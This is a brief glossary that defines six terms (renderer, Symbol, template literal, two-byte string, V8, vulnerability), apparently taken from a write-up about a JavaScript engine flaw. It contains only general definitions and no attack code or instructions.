- Renderer: the part of a browser that draws pages and runs their scripts.
- Symbol: a special kind of identifier in JavaScript, distinct from ordinary strings.
- Template literal: JavaScript syntax using backticks that allows multi-line strings.
- Two-byte string: a string that stores each character in two bytes, used for characters outside the basic range.
- V8: the JavaScript engine inside Chrome, which executes JavaScript code.
- Vulnerability: a flaw in software that can be triggered to make it behave in an unintended way.